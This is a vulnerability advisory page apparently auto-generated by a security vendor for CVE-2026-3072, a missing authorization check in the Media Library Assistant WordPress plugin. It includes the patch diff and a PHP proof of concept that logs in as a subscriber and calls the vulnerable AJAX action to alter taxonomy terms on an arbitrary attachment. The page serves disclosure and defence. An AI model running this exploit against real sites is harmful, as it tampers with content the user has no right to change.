Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-3072: Media Library Assistant <= 3.33 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Attachment Taxonomy Modification (media-library-assistant)

CVE ID CVE-2026-3072
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.33
Patched Version 3.34
Disclosed March 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3072:
The vulnerability exists in the Media Library Assistant WordPress plugin version 3.33 and earlier. The root cause is a missing capability check in the mla_update_compat_fields_action() function, which handles AJAX requests for updating attachment taxonomy terms. The function processes requests without verifying the user has appropriate edit_post permissions for the target attachment. The exploitation method involves sending a POST request to /wp-admin/admin-ajax.php with the action parameter set to mla_update_compat_fields_action. Attackers must be authenticated with at least Subscriber-level access. The request must include post_id parameter specifying the target attachment ID and compat_taxonomies parameter containing the taxonomy terms to modify. The patch adds three security checks in class-mla-media-modal-ajax.php lines 598-604. First, it verifies current_user_can(‘edit_post’, $post_id). Second, it implements check_ajax_referer() to validate the nonce. Third, it moves these checks before any data processing occurs. These changes ensure only users with edit permissions for the specific attachment can modify its taxonomy terms. If exploited, this vulnerability allows authenticated attackers with minimal privileges to arbitrarily modify taxonomy terms on any media attachment, potentially affecting site organization, search functionality, and content display.

Differential between vulnerable and patched code

Code Diff
--- a/media-library-assistant/examples/plugins/mla-copy-item-example/mla-copy-item-example.php
+++ b/media-library-assistant/examples/plugins/mla-copy-item-example/mla-copy-item-example.php
@@ -13,7 +13,7 @@
  * https://wordpress.org/support/topic/option-to-copy-an-image/
  *
  * @package MLA Copy Item Example
- * @version 1.01
+ * @version 1.02
  */

 /*
@@ -21,7 +21,7 @@
 Plugin URI: http://davidlingren.com/
 Description: Adds "Copy" action to Media/Assistant submenu Bulk Actions dropdown
 Author: David Lingren
-Version: 1.01
+Version: 1.02
 Author URI: http://davidlingren.com/

 Copyright 2016 David Lingren
@@ -406,8 +406,8 @@
 			unset( $_GET['post_mime_type'] );
 			unset( $_REQUEST['meta_query'] );
 			unset( $_GET['meta_query'] );
-			unset( $_REQUEST['meta_slug'] );
-			unset( $_GET['meta_slug'] );
+			unset( $_REQUEST['shortcode_query'] );
+			unset( $_GET['shortcode_query'] );

 			// Clear the "extra_nav" controls and the Search Media box
 			unset( $_REQUEST['m'] );
--- a/media-library-assistant/includes/class-mla-core.php
+++ b/media-library-assistant/includes/class-mla-core.php
@@ -21,7 +21,7 @@
 	 *
 	 * @var	string
 	 */
-	const CURRENT_MLA_VERSION = '3.33';
+	const CURRENT_MLA_VERSION = '3.34';

 	/**
 	 * Current date for Development Versions, empty for production versions
@@ -1424,6 +1424,11 @@
 			$query['post_mime_type'] = $specification['mime']['value'];
 		}

+		if ( !empty( $specification['shortcode'] ) ) {
+			$shortcode_query = array( 'slug' => $slug, 'shortcode' => $specification['shortcode']['value'] );
+			$query['shortcode_query'] = $shortcode_query;
+		}
+
 		if ( !empty( $specification['custom'] ) ) {
 			$meta_query = array( 'slug' => $slug , 'relation' => 'OR', 'patterns' => array () );
 			switch( $specification['custom']['option'] ) {
@@ -1483,12 +1488,22 @@
 		}
 //error_log( __LINE__ . ' MLACore::mla_parse_view_specification specification = ' . var_export( $specification, true ), 0 );

-		$result = array( 'mime' => NULL, 'custom' => NULL );
+		$result = array( 'mime' => NULL, 'custom' => NULL, 'shortcode' => NULL );

 		// look for custom field query, must be at the end of the specification
 		$custom_offset = strpos( $specification, 'custom:' );
 		if ( false === $custom_offset ) {
-			$result['mime'] = array( 'prefix' => 'mime', 'name' => '', 'value' => $specification, 'option' => '' );
+			$shortcode_offset = strpos( $specification, 'shortcode:' );
+
+			if ( false === $shortcode_offset ) {
+				$result['mime'] = array( 'prefix' => 'mime', 'name' => '', 'value' => $specification, 'option' => '' );
+			} else {
+				$result['shortcode'] = array( 'prefix' => 'shortcode', 'name' => '', 'value' => substr( $specification, $shortcode_offset ), 'option' => '' );
+				if ( 0 < $shortcode_offset ) {
+					// A MIME specification can precede the shortcode
+					$result['mime'] = array( 'prefix' => 'mime', 'name' => '', 'value' => substr( $specification, 0, $shortcode_offset - 1 ), 'option' => '' );
+				}
+			}
 		} else {
 			$result['custom'] = array( 'prefix' => 'custom', 'name' => '', 'value' => substr( $specification, $custom_offset ), 'option' => '' );

@@ -1499,6 +1514,11 @@
 		}
 //error_log( __LINE__ . ' MLACore::mla_parse_view_specification result = ' . var_export( $result, true ), 0 );

+		if ( !empty( $result['shortcode'] ) ) {
+			$tail = substr( $result['shortcode']['value'], strlen( 'shortcode:' ) );
+			$result['shortcode']['value'] = MLAShortcode_Support::mla_validate_attributes( $tail );
+		}
+
 		if ( !empty( $result['custom'] ) ) {
 			$match_count = preg_match( '/^(.+):(.+)/', $result['custom']['value'], $matches );
 			$result['custom']['value'] = '';
@@ -1554,7 +1574,7 @@
 			foreach ( (array) $mime_types as $raw_mime_type ) {
 				$no_wildcards = str_replace( '*', 'X', $raw_mime_type );
 				$clean_mime_type = sanitize_mime_type( $no_wildcards );
-				if ( $clean_mime_type != $no_wildcards ) {
+				if ( $clean_mime_type !== $no_wildcards ) {
 					/* translators: 1: ERROR tag 2: raw_mime_type */
 					$result['mime']['error'] = '<br>' . sprintf( __( '%1$s: Bad specification part "%2$s"', 'media-library-assistant' ), __( 'ERROR', 'media-library-assistant' ), $raw_mime_type );
 				}
--- a/media-library-assistant/includes/class-mla-data-pdf.php
+++ b/media-library-assistant/includes/class-mla-data-pdf.php
@@ -108,8 +108,11 @@
 	 */
 	private static function _parse_pdf_integer( &$source_string, $length ) {
 		$output = 0;
-		for ($index = 0; $index < $length; ) {
-			$output = ( $output << 8 ) + ord( $source_string[ $index++ ] );
+
+		if ( $length ) {
+			for ($index = 0; $index < $length; ) {
+				$output = ( $output << 8 ) + ord( $source_string[ $index++ ] );
+			}
 		}

 		return $output;
@@ -228,6 +231,8 @@

 			if ( empty( $xref_stream ) ) {
 				$length = 0;
+			} else {
+				$length = strlen( $xref_stream );
 			}
 		} else {
 			$length = 0;
@@ -243,13 +248,22 @@
 		$object_ids = array();
 		$subsections = explode( ' ', $index_string );
 		while ( 1 < count( $subsections ) ) {
-			$first_object = (integer) array_shift( $subsections );
+		$first_object = (integer) array_shift( $subsections );
 			$object_count = (integer) array_shift( $subsections );
 			while ( $object_count-- ) {
 				$object_ids[] = $first_object++;
 			}
 		}

+		$computed_length = $length / count( $object_ids );
+
+		// Validate the stream length against the expected length; if they don't match, the stream is corrupt and will be ignored
+		if ( $entry_length !== $computed_length ) {
+			/* translators: 1: ERROR tag 2: entry length 3: computed length */
+			MLACore::mla_debug_add( sprintf( _x( '%1$s: _parse_pdf_xref_stream entry length %2$d does not match computed length %3$d.', 'error_log', 'media-library-assistant' ), __( 'ERROR', 'media-library-assistant' ), $entry_length, $computed_length ), MLACore::MLA_DEBUG_CATEGORY_METADATA );
+			return $length;
+		}
+
 		$xref_entries = array();
 		$xref_index = 0;
 		$offset = 0;
--- a/media-library-assistant/includes/class-mla-data-query.php
+++ b/media-library-assistant/includes/class-mla-data-query.php
@@ -363,7 +363,7 @@
 	 * @return	integer	Number of attachment posts
 	 */
 	public static function mla_count_list_table_items( $request, $offset = NULL, $count = NULL ) {
-		if ( NULL !== $offset && NULL !== $count ) {
+	if ( NULL !== $offset && NULL !== $count ) {
 			$request = self::_prepare_list_table_query( $request, $offset, $count );
 			$request = apply_filters( 'mla_list_table_query_final_terms', $request );

@@ -415,26 +415,20 @@

 		$attachments = self::$mla_list_table_items->posts;
 		foreach ( $attachments as $index => $attachment ) {
-			/*
-			 * Add parent data
-			 */
+			// Add parent data
 			$parent_data = self::mla_fetch_attachment_parent_data( $attachment->post_parent );
 			foreach ( $parent_data as $parent_key => $parent_value ) {
 				$attachments[ $index ]->{$parent_key} = $parent_value;
 			}

-			/*
-			 * Add meta data
-			 */
+			// Add meta data
 			$meta_data = self::mla_fetch_attachment_metadata( $attachment->ID );
 			foreach ( $meta_data as $meta_key => $meta_value ) {
 				$attachments[ $index ]->{$meta_key} = $meta_value;
 			}
 		}

-		/*
-		 * Add references
-		 */
+		// Add references
 		self::mla_attachment_array_fetch_references( $attachments );

 		return $attachments;
@@ -1084,6 +1078,7 @@
 					break;
 				case 'tax_query':
 				case 'meta_query':
+				case 'shortcode_query':
 					if ( ! empty( $value ) ) {
 						if ( is_array( $value ) ) {
 							$clean_request[ $key ] = $value;
@@ -1426,6 +1421,22 @@
 		global $wpdb;
 		static $wpmf_pre_get_posts_priority = false, $wpmf_pre_get_posts1_priority = false;

+		if ( ! empty( $request['shortcode_query'] ) ) {
+			$query = $request['shortcode_query']['shortcode'];
+
+			add_shortcode( 'mla_shortcode_query', 'MLAQuery::mla_shortcode_query_shortcode' );
+
+			$query['mla_alt_shortcode'] = 'mla_shortcode_query';
+			$query['cache_results'] = false;
+			$query['update_post_meta_cache'] = false;
+			$query['update_post_term_cache'] = false;
+
+			$raw_results = MLAShortcodes::mla_gallery_shortcode( $query );
+			$request['post__in'] = explode( ',', $raw_results );
+
+			remove_shortcode( 'mla_shortcode_query' );
+		}
+
 		add_filter( 'posts_search', 'MLAQuery::mla_query_posts_search_filter' );
 		add_filter( 'posts_where', 'MLAQuery::mla_query_posts_where_filter' );
 		add_filter( 'posts_join', 'MLAQuery::mla_query_posts_join_filter' );
@@ -1503,6 +1514,24 @@
 	}

 	/**
+	 * Intercepts results of a table view shortcode queryto apply [mla_gallery] capabilities
+	 *
+	 * @since 3.34
+	 *
+	 * @param array $attr Attributes of the shortcode
+	 * @param string $content Optional content for enclosing shortcodes
+	 *
+	 * @return string comma-separated ID values of attachments matching the shortcode query.
+	 */
+	public static function mla_shortcode_query_shortcode( $attr, $content = NULL ) {
+	if ( isset( $attr['ids']) ) {
+			return $attr['ids'];
+		}
+
+		return '';
+	}
+
+	/**
 	 * Detects wildcard searches, i.e., containing an asterisk outside quotes
 	 *
 	 * Defined as public because it's a callback from array_map().
--- a/media-library-assistant/includes/class-mla-data.php
+++ b/media-library-assistant/includes/class-mla-data.php
@@ -140,7 +140,7 @@
 					if ( is_scalar( $value ) ) {
 						$value = trim( $value );
 					} elseif ( is_array( $value ) && 'array' === $option ) {
-						// no change, return the first array found
+						// return the first embedded array found
 						return $value;
 					} elseif ( ! empty( $value ) ) {
 						$value = var_export( $value, true );
@@ -155,13 +155,25 @@
 						}
 					}
 				}
+
+				if ( 'array' === $option ) {
+					// no embedded arrays found, return the original array
+					return $element;
+				}
 			} elseif ( ! empty( $element ) ) {
 				$final[] = var_export( $element, true );
 			}
+		} // foreach result
+
+		// single-element array, return as string
+		if ( 1 == count( $final ) ) {
+			// Don't flatten a string value key
+			if ( isset( $final[0] ) ) {
+				$final = $final[0];
+			}
 		}
-
-		// No arrays were found or the option was not 'array'; final contains only strings
-		return implode( '', $final );
+
+		return $final;
 	}

 	/**
@@ -2865,7 +2877,7 @@
 		}

 		$results = MLAAVIF::mla_extract_AVIF_metadata( $path );
-		MLACore::mla_debug_add( __LINE__ . ' mla_extract_AVIF_metadata() = ' . var_export( $results, true ), MLACore::MLA_DEBUG_CATEGORY_ANY );
+		MLACore::mla_debug_add( __LINE__ . ' mla_extract_AVIF_metadata() = ' . var_export( $results, true ), MLACore::MLA_DEBUG_CATEGORY_METADATA );

 		return $results;

--- a/media-library-assistant/includes/class-mla-list-table.php
+++ b/media-library-assistant/includes/class-mla-list-table.php
@@ -333,6 +333,10 @@
 			}
 		}

+		if ( isset( $_REQUEST['shortcode_query'] ) ) {
+			$submenu_arguments['shortcode_query'] = urlencode( wp_kses( wp_unslash( $_REQUEST['shortcode_query'] ), 'post' ) );
+		}
+
 		if ( isset( $_REQUEST['meta_query'] ) ) {
 			$submenu_arguments['meta_query'] = urlencode( wp_kses( wp_unslash( $_REQUEST['meta_query'] ), 'post' ) );
 		}
@@ -1956,11 +1960,19 @@
 				$query['post_mime_type'] = urlencode( $query['post_mime_type'] );
 			}

+			if ( isset( $query['shortcode_query'] ) ) {
+				$query['shortcode_query'] = urlencode( wp_json_encode( $query['shortcode_query'] ) );
+			}
+
 			if ( isset( $query['meta_query'] ) ) {
-				$query['meta_slug'] = $view_slug;
 				$query['meta_query'] = urlencode( wp_json_encode( $query['meta_query'] ) );
 			}

+			// These are added automatically by mla_prepare_view_query, so they don't have to be in the URL
+			unset( $query['cache_results'] );
+			unset( $query['update_post_meta_cache'] );
+			unset( $query['update_post_term_cache'] );
+
 			return "<a href='" . add_query_arg( $query, $base_url ) . "'$class>" . sprintf( translate_nooped_plural( $nooped_plural, $total_items, 'media-library-assistant' ), number_format_i18n( $total_items ) ) . '</a>';
 		}

@@ -1985,15 +1997,22 @@
 			$current_view = 'mine';
 		} elseif ( $this->is_trash ) {
 			$current_view = 'trash';
-		} elseif ( empty( $_REQUEST['post_mime_type'] ) ) {
+		} else {
+			$current_view = 'all';
+
+			if ( !empty( $_REQUEST['post_mime_type'] ) ) {
+				$current_view = sanitize_text_field( wp_unslash( $_REQUEST['post_mime_type'] ) );
+			}
+
+			if ( isset( $_REQUEST['shortcode_query'] ) ) {
+				$query = json_decode( wp_kses( wp_unslash( $_REQUEST['shortcode_query'] ), 'post' ), true );
+				$current_view = $query['slug'];
+			}
+
 			if ( isset( $_REQUEST['meta_query'] ) ) {
 				$query = json_decode( wp_kses( wp_unslash( $_REQUEST['meta_query'] ), 'post' ), true );
 				$current_view = $query['slug'];
-			} else {
-				$current_view = 'all';
 			}
-		} else {
-			$current_view = sanitize_text_field( wp_unslash( $_REQUEST['post_mime_type'] ) );
 		}

 		$mla_types = MLAMime::mla_query_view_items( array( 'orderby' => 'menu_order' ), 0, 0 );
--- a/media-library-assistant/includes/class-mla-media-modal-ajax.php
+++ b/media-library-assistant/includes/class-mla-media-modal-ajax.php
@@ -254,7 +254,7 @@
 	 */
 	public static function mla_attachment_fields_to_edit_filter( $form_fields, $post ) {
 		static $log_error = true;
-
+
 		$id = $post->ID;

 		/*
@@ -598,6 +598,12 @@
 			wp_send_json_error();
 		}

+		if ( ! current_user_can( 'edit_post', $post_id ) ) {
+			wp_send_json_error();
+		}
+
+		check_ajax_referer( MLACore::MLA_ADMIN_NONCE_ACTION, MLACore::MLA_ADMIN_NONCE_NAME );
+
 		if ( empty( $post ) ) {
 			$post = get_post( $post_id ); // for filters and wp_popular_terms_checklist
 		}
--- a/media-library-assistant/includes/class-mla-mime-types.php
+++ b/media-library-assistant/includes/class-mla-mime-types.php
@@ -927,9 +927,7 @@
 			return array ();
 		}

-		/*
-		 * Sort and filter the list
-		 */
+		// Sort and filter the list
 		$keyword = isset( $request['s'] ) ? $request['s'] : '';
 		$index = 0;
 		$sorted_types = array();
@@ -1258,6 +1256,10 @@
 				$errors .= $result['mime']['error'];
 			}

+			if ( isset( $result['shortcode']['error'] ) ) {
+				$errors .= $result['shortcode']['error'];
+			}
+
 			if ( isset( $result['custom']['error'] ) ) {
 				$errors .= $result['custom']['error'];
 			}
--- a/media-library-assistant/includes/class-mla-options.php
+++ b/media-library-assistant/includes/class-mla-options.php
@@ -1618,8 +1618,8 @@

 				$iptc_value = apply_filters( 'mla_mapping_iptc_value', $iptc_value, $setting_key, $post->ID, 'iptc_exif_taxonomy_mapping', $attachment_metadata );

-				if ( 'template:' == substr( $setting_value['exif_value'], 0, 9 ) ) {
-					$data_value = array(
+				if ( 'template:' === substr( $setting_value['exif_value'], 0, 9 ) ) {
+				$data_value = array(
 						'name' => $setting_key,
 						'data_source' => 'template',
 						'meta_name' => substr( $setting_value['exif_value'], 9 ),
--- a/media-library-assistant/includes/class-mla-settings-iptc-exif-tab.php
+++ b/media-library-assistant/includes/class-mla-settings-iptc-exif-tab.php
@@ -2810,6 +2810,7 @@
 						$old_rule['hierarchical'] = $new_rule['hierarchical'];
 						$old_rule['parent'] = $new_rule['parent'];
 						$old_rule['delimiters'] = $new_rule['delimiters'];
+						$old_rule['option'] = $new_rule['option'];
 						break;
 					case 'custom':
 						$old_rule['format'] = $new_rule['format'];
--- a/media-library-assistant/includes/class-mla-thumbnail-generation.php
+++ b/media-library-assistant/includes/class-mla-thumbnail-generation.php
@@ -548,8 +548,8 @@
 			unset( $_GET['post_mime_type'] );
 			unset( $_REQUEST['meta_query'] );
 			unset( $_GET['meta_query'] );
-			unset( $_REQUEST['meta_slug'] );
-			unset( $_GET['meta_slug'] );
+			unset( $_REQUEST['shortcode_query'] );
+			unset( $_GET['shortcode_query'] );

 			// Clear the "extra_nav" controls and the Search Media box, too
 			unset( $_REQUEST['m'] );
--- a/media-library-assistant/includes/class-mla-wpml-support.php
+++ b/media-library-assistant/includes/class-mla-wpml-support.php
@@ -2148,15 +2148,28 @@
 	public function mla_wpml_media_view_upload_page_count_filter( $count, $lang ) {
 		global $sitepress;

-		if ( isset( $_GET['meta_slug'] ) ) {
+		//check for custom table views
+		$current_view = '';
+
+		if ( isset( $_GET['shortcode_query'] ) ) {
+			$query = json_decode( wp_kses( wp_unslash( $_GET['shortcode_query'] ), 'post' ), true );
+			$current_view = $query['slug'];
+		}
+
+		if ( isset( $_GET['meta_query'] ) ) {
+			$query = json_decode( wp_kses( wp_unslash( $_GET['meta_query'] ), 'post' ), true );
+			$current_view = $query['slug'];
+		}
+
+		if ( ! empty( $current_view ) ) {
 			$save_lang = $sitepress->get_current_language();
 			$sitepress->switch_lang( $lang['code'] );
-			$meta_view = $this->mla_list_table->mla_get_view( sanitize_text_field( wp_unslash( $_GET['meta_slug'] ) ), '' );
+			$current_view = $this->mla_list_table->mla_get_view( $current_view, '' );
 			$sitepress->switch_lang( $save_lang );

-			if ( false !== $meta_view ) {
+			if ( false !== $current_view ) {
 				// extract the count value
-				$href_count = preg_match( '/class="count">(([^)]*))/', $meta_view, $href_matches );
+				$href_count = preg_match( '/class="count">(([^)]*))/', $current_view, $href_matches );
 				if ( $href_count ) {
 					$count = array( $href_matches[1] );
 				}
--- a/media-library-assistant/index.php
+++ b/media-library-assistant/index.php
@@ -9,14 +9,14 @@
  * @author    David Lingren
  * @copyright 2026 David Lingren
  * @license   GPL-2.0-or-later
- * @version   3.33
+ * @version   3.34
  */

 /*
 Plugin Name: Media Library Assistant
 Plugin URI: http://davidlingren.com/#two
 Description: Enhances the Media Library; powerful [mla_gallery] [mla_tag_cloud] [mla_term_list], [mla_custom_list], [mla_archive_list], taxonomy support, IPTC/EXIF/XMP/PDF processing, bulk/quick edit.
-Version: 3.33
+Version: 3.34
 Requires at least: 4.7
 Requires PHP: 7.4
 Author: David Lingren

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3072 - Media Library Assistant <= 3.33 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Attachment Taxonomy Modification
<?php

$target_url = 'http://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate to obtain WordPress cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
$response = curl_exec($ch);

// Step 2: Exploit the missing capability check
// Target an arbitrary attachment ID (e.g., 123)
// Modify taxonomy terms (e.g., add 'malicious-term' to 'category' taxonomy)
$payload = [
    'action' => 'mla_update_compat_fields_action',
    'post_id' => 123, // Target attachment ID
    'compat_taxonomies' => json_encode([
        'category' => ['malicious-term'] // Taxonomy slug => array of terms
    ])
];

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
$response = curl_exec($ch);

// Check if exploitation succeeded
if (strpos($response, 'success') !== false || strpos($response, 'updated') !== false) {
    echo "Exploitation successful. Taxonomy terms modified on attachment ID 123.n";
} else {
    echo "Exploitation failed. Response: " . htmlspecialchars($response) . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School